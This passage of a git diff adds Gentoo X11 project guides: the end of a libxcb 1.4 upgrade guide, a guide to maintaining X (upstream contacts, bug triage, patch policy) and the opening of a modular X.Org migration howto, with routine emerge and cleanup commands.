+This guide shows how to upgrade from libxcb 1.1.90.2 and earlier to libxcb 1.4.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+<version>0.1</version>
+<date>2009-09-12</date>
+
+<chapter>
+<title>Upgrading to libxcb 1.4</title>
+<section>
+<body>
+
+<pre caption="Updating xcb packages">
+# <i>emerge -1av x11-proto/xcb-proto x11-libs/libxcb</i>
+# <i>emerge -1av x11-proto/xproto x11-proto/xextproto x11-libs/libX11 x11-libs/libXext</i>
+</pre>
+
+<p>
+You now have all the needed packages with support for the new libxcb.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Fixing broken libtool archives</title>
+<section>
+<body>
+
+<p>
+While the update may be over and your system may still work, emerging new
+packages or updates might yield a few unpleasant surprises, due to libtool's
+infamous archives : <c>.la</c> files.
+</p>
+
+<p>
+The problem is that until recently, libX11 used a private libxcb library called
+<c>libxcb-xlib.so</c>, created specifically for libX11. While that is no
+problem in itself, this tiny library polluted (almost) every single <c>.la</c>
+file on your system. That's how libtool works.
+</p>
+
+<p>
+But this is now turning into a problem since newer versions of libxcb no longer
+ship this library (and libX11 was fixed accordingly, of course). We now need to
+get rid of all references to this library within <c>.la</c> files.
+</p>
+
+<p>
+To do so, just run <c>/usr/portage/x11-libs/libxcb/files/xcb-rebuilder.sh</c>
+to fix all <c>.la</c> files on your system.
+</p>
+
+<p>
+The tool will also report whether shared libraries (<c>.so</c> files, usually
+located in <c>/lib</c> and <c>/usr/lib</c>) still reference the now defunct
+library. If the tool reports broken packages, please read on. If not, lucky
+you, your system is ready to go :)
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Fixing "broken" shared libraries</title>
+<section>
+<body>
+
+<p>
+To avoid completely breaking users' system, we decided to keep
+<c>libxcb-xlib.so</c> so that you get the chance to fix your system at your own
+pace. If you've followed the above instructions, your system should now work
+properly, both at build-time and run-time.
+</p>
+
+<p>
+But before you can remove <c>libxcb-xlib.so</c>, you will need to rebuild a few
+packages. If you do not rebuild them, removing the old library will
+<b>break</b> your system.
+</p>
+
+<p>
+Run the following one liner to rebuild a simple, yet effective, subset of
+potentially broken packages. Do not worry, packages you don't have installed
+will not be installed.
+</p>
+
+<pre caption="Rebuilding essential packages first">
+# <i>emerge --oneshot \
+$(for i in x11-proto/ x11-libs/libxcb x11-libs/libX11 x11-libs/libXext \
+           x11-libs/libX x11-libs/xcb-util x11-libs/cairo \
+           x11-libs/pango x11-libs/gtk\\+ \
+           x11-libs/qt-gui; do \
+    qlist -IC $i; \
+done) -av</i>
+</pre>
+
+<p>
+Once this is done, you can use <c>revdep-rebuild</c> (from
+<c>app-portage/gentoolkit</c>) to finish fixing the rest of your system.
+</p>
+
+<pre caption="Rebuilding the remaining broken packages">
+# <i>revdep-rebuild -L libxcb-xlib.so.0</i>
+</pre>
+
+<p>
+When <c>revdep-rebuild</c> no longer reports broken packages, you can safely
+remove <c>libxcb-xlib.so.0</c> from your library directory.
+</p>
+
+<pre caption="Removing the now unused libraries">
+# <i>rm -i /usr/lib/libxcb-xlib.so*</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/desktop/x/x11/maintaining.xml b/xml/htdocs/proj/en/desktop/x/x11/maintaining.xml
new file mode 100644
index 00000000..7fba9c1e
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/x/x11/maintaining.xml
@@ -0,0 +1,646 @@
+<?xml version='1.0' encoding="UTF-8"?>
+
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/desktop/x/x11/maintaining.xml">
+  <title>Maintaining X</title>
+  <author title="Author">
+    <mail link="dberkholz@gentoo.org">Donnie Berkholz</mail>
+  </author>
+
+  <abstract>
+    This document outlines what needs to be done to successfully maintain X
+    implementations.
+  </abstract>
+
+  <version>1.3</version>
+  <date>2 May 2007</date>
+
+  <chapter>
+    <title>Introduction</title>
+    <section>
+      <body>
+        <p>
+          X is one of the more complex and critical maintainer's jobs. There's
+          a lot to figure out before one can do it properly. This guide
+          attempts to lead a new X maintainer down one path to keeping sanity.
+        </p>
+
+      </body>
+    </section>
+  </chapter>
+
+  <chapter>
+    <title>Preparation</title>
+    <section>
+      <title>Mailing Lists</title>
+      <body>
+
+        <p>
+          The first thing to do is to get in contact with upstream. One of the
+          pathways is mailing lists. You'll probably want to subscribe to all
+          of these.
+        </p>
+
+        <table>
+          <tr>
+            <th>List</th>
+            <th>Description</th>
+            <th>Where/How to Subscribe</th>
+          </tr>
+          <tr>
+            <ti>xorg@lists.freedesktop.org</ti>
+            <ti>Primary X.Org list -- users and devs</ti>
+            <ti><uri>http://freedesktop.org/mailman/listinfo/xorg/</uri></ti>
+          </tr>
+          <tr>
+            <ti>xorg-commit@lists.freedesktop.org</ti>
+            <ti>CRITICAL to be on this list</ti>
+            <ti><uri>http://freedesktop.org/mailman/listinfo/xorg-commit/</uri></ti>
+          </tr>
+          <tr>
+            <ti>x-packagers@freedesktop.org</ti>
+            <ti>People like us. Very low traffic.</ti>
+            <ti><uri>http://freedesktop.org/mailman/listinfo/x-packagers/</uri></ti>
+          </tr>
+          <tr>
+            <ti>dri-devel@lists.sourceforge.net</ti>
+            <ti>(Optional) DRI (Direct Rendering Infrastructure) -- i.e., 3D
+            acceleration</ti>
+            <ti><uri>http://lists.sourceforge.net/lists/listinfo/dri-devel/</uri></ti>
+          </tr>
+          <tr>
+            <ti>mesa3d-dev@lists.sourceforge.net</ti>
+            <ti>(Optional) X uses this graphics library for OpenGL</ti>
+            <ti><uri>http://lists.sourceforge.net/lists/listinfo/mesa3d-dev/</uri></ti>
+          </tr>
+          <tr>
+            <ti>mesa-commit@lists.freedesktop.org</ti>
+            <ti>(Optional) Follow 3D driver, libGL development</ti>
+            <ti><uri>http://lists.freedesktop.org/mailman/listinfo/mesa-commit/</uri></ti>
+          </tr>
+        </table>
+
+      </body>
+    </section>
+
+    <section>
+      <title>IRC Channels</title>
+      <body>
+
+        <p>
+          A great medium for generating some camaraderie with upstream and
+          other packagers is IRC. Making connections is a good way to get
+          things accomplished.  Unless specified otherwise, all these are on
+          irc.freenode.net.
+        </p>
+
+        <table>
+          <tr>
+            <th>Channel</th>
+            <th>Description</th>
+          </tr>
+          <tr>
+            <ti>#xorg-devel</ti>
+            <ti>Developer-centered channel</ti>
+          </tr>
+          <tr>
+            <ti>#xorg</ti>
+            <ti>(Optional) More user-oriented, although some devs are here too</ti>
+          </tr>
+          <tr>
+            <ti>#dri</ti>
+            <ti>(Optional) DRI user channel</ti>
+          </tr>
+          <tr>
+            <ti>#dri-devel</ti>
+            <ti>(Optional) DRI development channel -- if you like 3D, be
+            here</ti>
+          </tr>
+          <tr>
+            <ti>#ati</ti>
+            <ti>(Optional) Mostly talk about the binary drivers, but some DRI
+            mixed in</ti>
+          </tr>
+          <tr>
+            <ti>#nvidia</ti>
+            <ti>(Optional) Talk about the binary drivers</ti>
+          </tr>
+        </table>
+
+      </body>
+    </section>
+
+    <section>
+      <title>Who's Who in X Land?</title>
+      <body>
+
+        <p>
+          It's a good idea to know who's involved in X. When known and
+          applicable, IRC nicks are after their names.
+        </p>
+
+        <table>
+          <tr>
+            <th>Who?</th>
+            <th>IRC Nick?</th>
+            <th>What?</th>
+          </tr>
+          <tr>
+            <ti>Dave Airlie</ti>
+            <ti>airlied</ti>
+            <ti>DRM maintainer. Merges DRM into Linux kernel as well. Hacks
+            some on EGL.</ti>
+          </tr>
+          <tr>
+            <ti>Stuart Anderson</ti>
+            <ti>anderson</ti>
+            <ti>X.Org guy. He's on IRC, but I've never seen him say
+            anything. Works for The Open Group and is involved with <uri
+            link="http://xorg.freedesktop.org/wiki/TestGroup">XTest</uri>.</ti>
+          </tr>
+          <tr>
+            <ti>Eric Anholt</ti>
+            <ti>anholt</ti>
+            <ti>Jumped into X in the past couple of years. Mostly does DRI,
+            radeon stuff. FreeBSD X maintainer, now works for Intel on its
+            driver.</ti>
+          </tr>
+          <tr>
+            <ti>Alan Coopersmith</ti>
+            <ti>alanc</ti>
+            <ti>X guy at Sun. Wrote the IPv6 code. Release manager for
+            6.9.</ti>
+          </tr>
+          <tr>
+            <ti>Michel Daenzer</ti>
+            <ti>MrCooper</ti>
+            <ti>Debian X guy and radeon PPC DRI dev, now works for Tungsten
+            Graphics.</ti>
+          </tr>
+          <tr>
+            <ti>David Dawes</ti>
+            <ti></ti>
+            <ti>Lead of XFree86. He's called himself various titles over time,
+            but he's always been the dictator.</ti>
+          </tr>
+          <tr>
+            <ti>Alex Deucher</ti>
+            <ti>agd5f</ti>
+            <ti>Hacks on dual-head, Radeon, Savage, and some other
+            misc. stuff</ti>
+          </tr>
+          <tr>
+            <ti>Thomas Dickey</ti>
+            <ti></ti>
+            <ti>Maintains xterm, does some other misc. X and ncurses
+            stuff.</ti>
+          </tr>
+          <tr>
+            <ti>Egbert Eich</ti>
+            <ti>egbert</ti>
+            <ti>SuSE X maintainer, X.Org board member. Was release manager for
+            6.7.0.
+            </ti>
+          </tr>
+          <tr>
+            <ti>Jim Gettys</ti>
+            <ti>jg</ti>
+            <ti>keithp's partner in crime</ti>
+          </tr>
+          <tr>
+            <ti>Matthieu Herrb</ti>
+            <ti>herrb</ti>
+            <ti>OpenBSD X maintainer. Many commits are security-related, so
+            watch them.
+            </ti>
+          </tr>
+          <tr>
+            <ti>Benjamin Herrenschmidt</ti>
+            <ti>benh</ti>
+            <ti>Works for IBM. Hacks some on Radeon, particularly PPC.</ti>
+          </tr>
+          <tr>
+            <ti>Kristian Hogsberg</ti>
+            <ti>krh</ti>
+            <ti>Works for Red Hat. Hacked on evdev driver, helped in
+            modularization</ti>
+          </tr>
+          <tr>
+            <ti>Alan Hourihane</ti>
+            <ti>alanh</ti>
+            <ti>Maintains i915 driver, trident driver. Has hacked on sunffb
+            DRI too.</ti>
+          </tr>
+          <tr>
+            <ti>Adam Jackson</ti>
+            <ti>ajax</ti>
+            <ti>DRI, dlloader, and general server cleanup. He uses Gentoo and
+            will help out. He's on the x11 alias. Release manager for 7.0. Red
+            Hat X maintainer.</ti>
+          </tr>
+          <tr>
+            <ti>Dave Jones</ti>
+            <ti>davej</ti>
+            <ti>Maintains agpgart in Linux kernel</ti>
+          </tr>
+          <tr>
+            <ti>Nolan Leake</ti>
+            <ti>nolan</ti>
+            <ti>Works for VMWare, maintains vmware driver</ti>
+          </tr>
+          <tr>
+            <ti>Roland Mainz</ti>
+            <ti>nrubsig</ti>
+            <ti>Develops XPrint. Been very scarce for the last year or so.</ti>
+          </tr>
+          <tr>
+            <ti>Kevin Martin</ti>
+            <ti>kem</ti>
+            <ti>Works for Red Hat. Release manager for 6.8.0, 6.9/7.0.</ti>
+          </tr>
+          <tr>
+            <ti>David Nusinow</ti>
+            <ti>gravity</ti>
+            <ti>New Debian X maintainer</ti>
+          </tr>
+          <tr>
+            <ti>Keith Packard</ti>
+            <ti>keithp</ti>
+            <ti>A leader of the "new wave" of X developers, works at Intel</ti>
+          </tr>
+          <tr>
+            <ti>Brian Paul</ti>
+            <ti></ti>
+            <ti>Mesa maintainer</ti>
+          </tr>
+          <tr>
+            <ti>Aaron Plattner</ti>
+            <ti>AaronP</ti>
+            <ti>Works for nVidia. Maintains nv driver in XOrg.</ti>
+          </tr>
+          <tr>
+            <ti>Ian Romanick</ti>
+            <ti>idr</ti>
+            <ti>Works for IBM. DRI guru.</ti>
+          </tr>
+          <tr>
+            <ti>Zack Rusin</ti>
+            <ti>zrusin</ti>
+            <ti>Works for Trolltech. Did some work with Exa and Render.</ti>
+          </tr>
+          <tr>
+            <ti>Søren Sandmann</ti>
+            <ti>ssp</ti>
+            <ti>Works for Red Hat. Did some MMX optimization, modularization
+            work.</ti>
+          </tr>
+          <tr>
+            <ti>Daniel Stone</ti>
+            <ti>daniels</ti>
+            <ti>Lots of experience in modularized, autotooled X. Now works at
+            Nokia, former Ubuntu and Debian X maintainer.</ti>
+          </tr>
+          <tr>
+            <ti>Luc Verhaegen</ti>
+            <ti>libv</ti>
+            <ti>Hacks on via driver</ti>
+          </tr>
+          <tr>
+            <ti>Mark Vojkovich</ti>
+            <ti></ti>
+            <ti>Works for nVidia. Maintains nv driver in XFree86.</ti>
+          </tr>
+          <tr>
+            <ti>Keith Whitwell</ti>
+            <ti>keithw</ti>
+            <ti>A lead DRI developer, along with idr.</ti>
+          </tr>
+        </table>
+      </body>
+    </section>
+  </chapter>
+
+  <chapter>
+    <title>Handling Bugs</title>
+    <section>
+      <title>Queries</title>
+      <body>
+        <p>
+          Before you can start dealing with bugs, you need to have good ways
+          to find which ones you want to deal with. I have 10 X-related
+          queries saved in my Bugzilla settings: <c>X Security</c>, <c>X
+          blocker</c>, <c>X critical</c>, <c>X major</c>, <c>X minor</c>, <c>X
+          trivial</c>, <c>X inclusion</c>, <c>X CC</c>, <c>X</c> and <c>X
+          enhancements</c>. The <c>X</c> query is: All bugs with Status
+          UNCONFIRMED NEW ASSIGNED REOPENED where severity is everything
+          except enhancement and bug owner is <mail>x11@gentoo.org</mail>. The
+          <c>X enhancements</c> query is the same but with the severity set
+          only to enhancement. Similar holds true for other severity-related
+          queries. <c>X CC</c> is all open bugs that
+          <mail>x11@gentoo.org</mail> is CC'd on. <c>X inclusion</c> is all
+          open bugs assigned to <mail>x11@gentoo.org</mail> with <c>Keywords:
+          Inclusion</c>. This is used to create a short list of ready-to-go
+          commits with attached patches or very obvious changes. <c>X
+          Security</c> is a list of all open bugs with either assignee or CC
+          <mail>x11@gentoo.org</mail> and either assignee or CC
+          <mail>security@gentoo.org</mail>.
+        </p>
+
+        <p>
+          You may wish to divide the bugs up better, but first realize this:
+          Bug priorities are not well-triaged at this point in time (2 May
+          2007), so restricting the priority is a very artificial way to do
+          things. After you enter this search into the advanced page, you'll
+          be able to save it from the bottom of the results page.
+        </p>
+      </body>
+    </section>
+    <section>
+      <title>Triage</title>
+      <body>
+        <p>
+          As soon as you have time after reading your Bugzilla emails, you
+          should go to the bug URL and glance briefly over the bug. In this
+          time, you should be able to figure out whether: (a) the bug is
+          assigned to the right people, (b) any other people should be CC'd,
+          (c) the bug is not obviously invalid and (d) the system isn't
+          overoptimized. From (d), it follows that you'll need <c>emerge
+          info</c> to diagnose the problem in nearly all cases, so you get
+          CFLAGS and the toolchain.
+        </p>
+
+        <p>
+          If the bug appears valid and should be assigned to us, then classify
+          the severity. The basis for this is:
+        </p>
+
+        <table>
+          <tr>
+            <th>Severity</th>
+            <th>Description</th>
+          </tr>
+          <tr>
+            <ti>blocker</ti>
+            <ti>It breaks entire systems, causes data loss, prevents booting,
+            etc.
+            </ti>
+          </tr>
+          <tr>
+            <ti>critical</ti>
+            <ti>Compilation failures that don't appear to be corner cases,
+            unavoidable crashes, X not starting</ti>
+          </tr>
+          <tr>
+            <ti>major</ti>
+            <ti>Significant runtime issues that render X useless</ti>
+          </tr>
+          <tr>
+            <ti>normal</ti>
+            <ti>Most bugs will fall under this.</ti>
+          </tr>
+          <tr>
+            <ti>minor</ti>
+            <ti>Bugs that don't significantly affect use and have a
+            workaround</ti>
+          </tr>
+          <tr>
+            <ti>trivial</ti>
+            <ti>Bugs that result in nearly no end-user or developer
+            change. For example, prettifying some code in the ebuild, small
+            docs typos, etc.
+            </ti>
+          </tr>
+          <tr>
+            <ti>enhancement</ti>
+            <ti>Feature requests, new packages, etc. Version bumps do
+            <b>not</b> fall under this. They should probably be "normal."</ti>
+          </tr>
+        </table>
+
+        <p>
+          Also classify the priority. The basis for this is:
+        </p>
+
+        <table>
+          <tr>
+            <th>Priority</th>
+            <th>Description</th>
+          </tr>
+          <tr>
+            <ti>P1</ti>
+            <ti>Must-fix</ti>
+          </tr>
+          <tr>
+            <ti>P2</ti>
+            <ti>Might-fix</ti>
+          </tr>
+          <tr>
+            <ti>P3</ti>
+            <ti>Probably won't fix</ti>
+          </tr>
+          <tr>
+            <ti>P4</ti>
+            <ti>Won't fix unless there are no other open bugs and nothing else
+            to do
+            </ti>
+          </tr>
+          <tr>
+            <ti>RESOLVED-&gt;WONTFIX</ti>
+            <ti>Won't fix, period
+            </ti>
+          </tr>
+        </table>
+      </body>
+    </section>
+
+    <section>
+      <title>Bug-fixing</title>
+      <body>
+
+        <p>
+          Once you've got all the open X bugs triaged, you can start fixing
+          them. It's vital to remember that you need to split your time
+          between <b>all</b> levels of severity. There will always be more
+          critical bugs coming in, and if you never work on anything lower
+          unless there are no critical bugs, you'll never work on anything
+          lower. You don't need to split your time evenly -- just split it.
+        </p>
+
+        <p>
+          Just start looking through all priority-1 bugs. Ignore anything
+          priority-2 and lower until all priority-1 bugs are fixed. Always be
+          alert for mis-classified bugs while you're browsing the list of open
+          bugs, whether they're over- or under-prioritized. The same goes for
+          severity.
+        </p>
+
+        <p>
+          Open a bug and glance through it. Does it have all the necessary
+          info? You'll often need <path>/etc/X11/xorg.conf</path>,
+          <path>/var/log/Xorg.${DISPLAY}.log</path>, <c>emerge info</c> and
+          <c>dmesg</c>. First, make sure the user has a proper configuration.
+          Then, make sure the USE combination is known to work. For example,
+          right now, combining <c>dmx</c> and <c>doc</c> breaks the build. One
+          of my favorite little commands is <c>grep -e '^(EE)' -e '^(WW)'
+          Xorg.0.log</c>. If it's a problem with direct rendering, you'll
+          often want <c>LIBGL_DEBUG=verbose glxinfo</c> output.
+        </p>
+
+        <p>
+          After requesting more information from the users, close their bugs
+          as RESOLVED->NEEDINFO and ask them to reopen it upon reply. This
+          ensures that all open bugs are bugs that require action from the X11
+          team.
+        </p>
+
+        <p>
+          If it's a bug with the X code rather than our ebuilds, the reporter
+          needs to send it upstream. Ask them to file it in the xorg product
+          at <uri>bugs.freedesktop.org</uri> and post the URL in the Gentoo
+          bug, then reopen the bug when it's been committed upstream. Close
+          the bug as RESOLVED->UPSTREAM and add the upstream URL to the URL
+          field.
+        </p>
+
+      </body>
+    </section>
+  </chapter>
+
+  <chapter>
+    <title>Patches</title>
+    <section>
+      <title>Where to Find Them</title>
+      <body>
+
+        <p>
+          Patches you'll add will come from basically two places: <uri
+          link="http://bugs.gentoo.org/">Gentoo's Bugzilla</uri> and <uri
+          link="http://bugs.freedesktop.org/">freedesktop.org's
+          Bugzilla</uri>. They may link to other places from there, but don't
+          feel any pressure to go out patch-hunting beyond those Bugzillas and
+          the X mailing lists.
+        </p>
+
+      </body>
+    </section>
+
+    <section>
+      <title>When to Accept Them</title>
+      <body>
+
+        <p>
+          Patches can only be added after there has been an upstream bug filed
+          and the patch has been committed upstream. This ensures that the
+          code benefits from review by the most experienced people in the
+          field and reduces the burden of support on us, because we can start
+          pointing problems upstream. It also makes things easier on us in the
+          future, because the next release will have the patch included so it
+          can be dropped from our patchset.
+        </p>
+
+        <p>
+          Never accept any requests to add random patches to our ebuilds,
+          regardless of their source, unless they are also in upstream. If
+          somebody already filed an upstream bug, follow that bug through
+          until the patch is committed before adding it to our patchset.
+        </p>
+
+        <p>
+          The only exceptions to this rule are when the patch fixes a build
+          breakage or a security vulnerability.
+        </p>
+
+      </body>
+    </section>
+
+    <section>
+      <title>How to Format Them</title>
+      <body>
+
+        <p>
+          Try to format patches to apply from the directory one level above
+          ${S}. For example, a libX11-1.0.0 patch would diff from
+          libX11-1.0.0.orig to libX11-1.0.0, using <c>diff -urN
+          libX11-1.0.0.orig libX11-1.0.0 > patchname.patch</c>. If you're
+          creating the patch from upstream source code, it may be easier to
+          apply from within ${S} instead. Don't waste any effort on remaking
+          that patch, although you can do this using <c>filterdiff
+          --addprefix</c> from <c>patchutils</c>.
+        </p>
+
+        <p>
+          Above the content of each patch, add comments on what the patch does
+          and why it is necessary. Make <b>sure</b> there is an
+          <b>upstream</b> bug filed for every patch added to the tree, and
+          make sure this URL is listed in the top of the patch. The only
+          exception is a patch that cannot be used by upstream because it is
+          for some reason Gentoo-specific.
+        </p>
+
+      </body>
+    </section>
+  </chapter>
+
+  <chapter>
+    <title>Maintaining Modular</title>
+    <section>
+      <title>Dependencies</title>
+      <body>
+
+        <p>
+          The modularization of X doesn't allow components of X to safely
+          assume everything they need will be present at both build- and
+          run-time. Modular packages' configure.ac is useful for finding out
+          what upstream thinks is required and is a good guide for what your
+          resulting ebuild should require.  Most of this information is held
+          within the <c>PKG_CHECK_MODULES</c> lines (note that there are often
+          multiple - look through the whole file).
+        </p>
+
+        <p>
+          As a general (and somewhat obvious) rule of thumb,
+          <c>x11-proto/*</c> packages belong in <c>DEPEND</c>, and packages
+          containing fonts, libraries and executables should go in
+          <c>RDEPEND</c>. See the <uri
+          link="porting-modular-x-howto.xml">modular X porting guide</uri> for
+          details.
+        </p>
+
+      </body>
+    </section>
+
+    <section>
+      <title>More stuff relevant to modular maintenance</title>
+      <body>
+
+        <p>
+          Definitely have a list of every modular package so you can script
+          actions across all of modular X. Without this, it can take forever
+          to get anything major done.  Even with it, major cross-tree commits
+          take a ton of time. Install <c>pkgcore</c> and use this command to
+          get the list: <c>pquery --herd x11 --repo /usr/portage --no-version | tee file</c>.
+        </p>
+
+        <p>
+          Dedicate the time to fully understanding how
+          <path>x-modular.eclass</path> works because it will pay off when you
+          get tricky bugs, or when you want to make a change to how something
+          builds.
+        </p>
+
+        <p>
+          Some useful links are the <uri
+          link="http://sources.redhat.com/autobook/"> Autobook</uri>, the <uri
+          link="http://xorg.freedesktop.org/wiki/ModularDevelopersGuide">Modular
+          Developer's Guide</uri>, and the devmanual
+          <uri link="http://devmanual.gentoo.org/general-concepts/autotools/index.html">
+            section on autotools</uri>.
+        </p>
+
+      </body>
+    </section>
+  </chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/desktop/x/x11/modular-x-howto.xml b/xml/htdocs/proj/en/desktop/x/x11/modular-x-howto.xml
new file mode 100644
index 00000000..990f723b
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/x/x11/modular-x-howto.xml
@@ -0,0 +1,631 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/x/x11/modular-x-howto.xml,v 1.64 2008/02/21 22:33:30 r0bertz Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/desktop/x/x11/modular-x-howto.xml">
+<title>Migrating to Modular X HOWTO</title>
+
+<author title="Author">
+  <mail link="dberkholz@gentoo.org">Donnie Berkholz</mail>
+</author>
+<author title="Author">
+  <mail link="joshuabaergen@gmail.com">Joshua Baergen</mail>
+</author>
+
+<abstract>
+This guide shows you how to migrate to modular X.Org.
+</abstract>
+
+<!-- The  content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1.2</version>
+<date>2006-11-05</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>Why modular?</title>
+<body>
+
+<p>
+You may be wondering, why in the world did one nice, easy xorg-x11 package turn
+into almost 300 separate ones? And you'd certainly be justified in this. =)
+It's not something Gentoo is doing independently of upstream X.Org; they're
+splitting up all the packages into separate releases, and we're just following
+along.
+</p>
+
+<p>
+The reasoning behind the split and changing build system is at least threefold:
+</p>
+
+<ul>
+  <li>
+    X is too difficult to get into for new devs, so thus the move to autotools,
+    a system more people are comfortable with if not happy with.
+  </li>
+  <li>
+    Along with that move, splitting out the source is possible with autotools,
+    and this also makes it more developer-friendly.
+  </li>
+  <li>
+    Things have been unnecessarily tied together in the past, and this has made
+    getting bugfixes out often impossible. If they were able to get out fixes,
+    it required rebuilding all of XOrg. For example, a bug in the ati driver
+    would either need to wait 6 months until the next release, or you'd have to
+    rebuild your fonts to get it, for absolutely no reason.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Migrating to Modular X</title>
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+To keep old packages from getting in the way, we're going to clean out all the
+old xorg-x11 cruft before installing modular X. This isn't absolutely crucial,
+but it will help ensure a smooth migration.
+</p>
+
+</body>
+</section>
+<section>
+<title>First step: Clean out your old X</title>
+<body>
+
+<p>
+Create a backup copy of the monolithic xorg-x11 in case modular X works poorly
+for you, and you want to revert to 6.x. You may wish to install a text-mode
+browser such as links or lynx to view this howto with when X is not available.
+</p>
+
+<pre caption="Backing up the old xorg-x11">
+# <i>emerge gentoolkit</i>
+# <i>quickpkg xorg-x11</i>
+</pre>
+
+<p>
+Get rid of the monolithic installation. To avoid the possibility of crashes or
+hard locking your system, you may want to quit any running X sessions before
+uninstalling X.Org.
+</p>
+
+<pre caption="Unmerging the monolitic installation">
+# <i>emerge -Ca xorg-x11 virtual/x11</i>
+</pre>
+
+<p>
+If your <path>/usr/X11R6</path> isn't a symlink to <path>/usr</path>, delete it
+and start from scratch. But first, save a list of all the packages installing
+there. The <c>gentoolkit</c> package provides <c>equery</c>.
+</p>
+
+<pre caption="Make a package list">
+# <i>if [[ ! -L /usr/X11R6 ]]; \
+    then equery belongs /usr/X11R6 > ~/usr-x11r6-packages \
+    &amp;&amp; rm -rf /usr/X11R6; fi</i>
+</pre>
+
+<p>
+Finally, if <path>/usr/lib/X11/xkb</path> (<path>/usr/lib64/X11/xkb</path> for
+64-bit users) exists, it should be removed.  This is a requirement for the
+<c>xkeyboard-config</c> package to install.
+</p>
+
+</body>
+</section>
+<section>
+<title>Second step: Installing modular X</title>
+<body>
+
+<p>
+For direct rendering, check that the <c>dri</c> USE flag is active. It should
+be on by default.
+</p>
+
+<p>
+Next, decide which drivers you need to install. This will vary depending on
+your input and video hardware. If you already have a working
+<path>/etc/X11/xorg.conf</path>, then just run this command to get an idea of
+what drivers you need:
+</p>
+
+<pre caption="Finding what drivers you need">
+# <i>grep Driver /etc/X11/xorg.conf</i>
+        Driver      "kbd"
+        Driver      "mouse"
+        Driver      "radeon"
+</pre>
+
+<pre caption="Checking available drivers">
+# <i>emerge --verbose --pretend xorg-x11</i>
+[ebuild   R   ] x11-base/xorg-x11-7.0-r1  USE="-xprint" INPUT_DEVICES="keyboard
+mouse -acecad -aiptek -calcomp -citron -digitaledge -dmc -dynapro -elo2300
+-elographics -evdev -fpit -hyperpen -jamstudio -joystick -magellan -magictouch
+-microtouch -mutouch -palmax -penmount -spaceorb -summa -synaptics% -tek4957
+-ur98 -vmmouse -void" VIDEO_CARDS="i128 mga radeon savage -apm -ark -chips
+-cirrus -cyrix -dummy -fbdev -fglrx% -glint -i740 -i810 -imstt -mach64 -neomagic
+-newport -nsc -nv -nvidia% -r128 -rendition -s3 -s3virge -siliconmotion -sis
+-sisusb -sunbw2 -suncg14 -suncg3 -suncg6 -sunffb -sunleo -suntcx -tdfx -tga
+-trident -tseng -v4l -vesa -vga -via -vmware -voodoo" 0 kB
+</pre>
+
+<p>
+Set INPUT_DEVICES and VIDEO_CARDS to what you need in
+<path>/etc/make.conf</path>. The minimal setting for the above example would be
+INPUT_DEVICES="<c>keyboard mouse</c>" VIDEO_CARDS="<c>radeon</c>". If you don't
+set one or the other variable, xorg-x11 will pull in all possible drivers of
+that type. For backup drivers, you may also want to add <c>vesa</c> and
+<c>fbdev</c> to VIDEO_CARDS.
+</p>
+
+<p>
+Now, install the metabuild. This will install the server and popular
+applications, giving you a working desktop implementation of X:
+</p>
+
+<pre caption="Installing the modular metabuild">
+# <i>emerge xorg-x11</i>
+# <i>etc-update</i>
+# <i>revdep-rebuild</i>
+# <i>[[ -e ~/usr-x11r6-packages ]] &amp;&amp; emerge 
+$(&lt;~/usr-x11r6-packages)</i>
+</pre>
+
+<note>
+If you really want a minimal installation, just install <c>xorg-server</c>.
+This will pull in only what you need to start an X server.
+</note>
+
+<p>
+This install tries to be rather minimal, so things like xcursor-themes are not
+installed by default. In that particular example, you would want xcursor-themes
+if you changed your cursor setting to whiteglass, redglass or handhelds. If you
+use the gentoo, gentoo-blue or gentoo-silver cursor themes, install
+gentoo-xcursors.
+</p>
+
+<note>
+With modular installed, external drivers such as nvidia-glx and wacom as well
+as some vnc apps may not work if they install things to
+<path>/usr/lib/modules</path> instead of <path>/usr/lib/xorg/modules</path>.
+Many of these will have modular X detection added to the installation process
+and thus will need to be re-merged after modular X install. In addition, many
+external drivers have a <c>dlloader</c> USE flag that you must enable and then
+rebuild the drivers.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Caveats/Common Problems</title>
+<section>
+<title>'emerge -u world' wants to install xorg-x11 6.x or virtual/x11</title>
+<body>
+
+<p>
+This is because the tree isn't fixed for modular dependencies yet. You can help
+the porting effort by reading the <uri
+link="porting-modular-x-howto.xml">Porting to Modular X HOWTO</uri> and filing
+bugs with patches to the individual package maintainers. The  maintainers will
+be listed in <path>metadata.xml</path> in the same directory as the package and
+the <c>herdstat</c> package will speed up querying for them.
+</p>
+
+<p>
+Particularly if you are running modular X on an otherwise stable system, you
+may run into issues with this. Many packages only work with modular X in their
+~arch versions, so you may need to add additional packages to
+<path>/etc/portage/package.keywords</path>.
+</p>
+
+</body>
+</section>
+<section>
+<title>What happened to all the USE flags?</title>
+<body>
+
+<p>
+Many USE flags in the xorg-x11-6.8 series vanished or moved in 7.0. Some new
+USE flags appeared. Here's why:
+</p>
+
+<table>
+<tr>
+  <th>USE flag</th>
+  <th>What happens in 7.0?</th>
+</tr>
+<tr>
+  <ti>3dfx</ti>
+  <ti>In 7.0, pulls in glide-v3 from the xorg-x11 metabuild</ti>
+</tr>
+<tr>
+  <ti>3dnow, mmx, sse</ti>
+  <ti>Enabled by default at build time, because there are runtime checks</ti>
+</tr>
+<tr>
+  <ti>bitmap-fonts, truetype-fonts, type1-fonts</ti>
+  <ti>
+    The xorg-x11 metabuild pulls in a small selection of the most used or
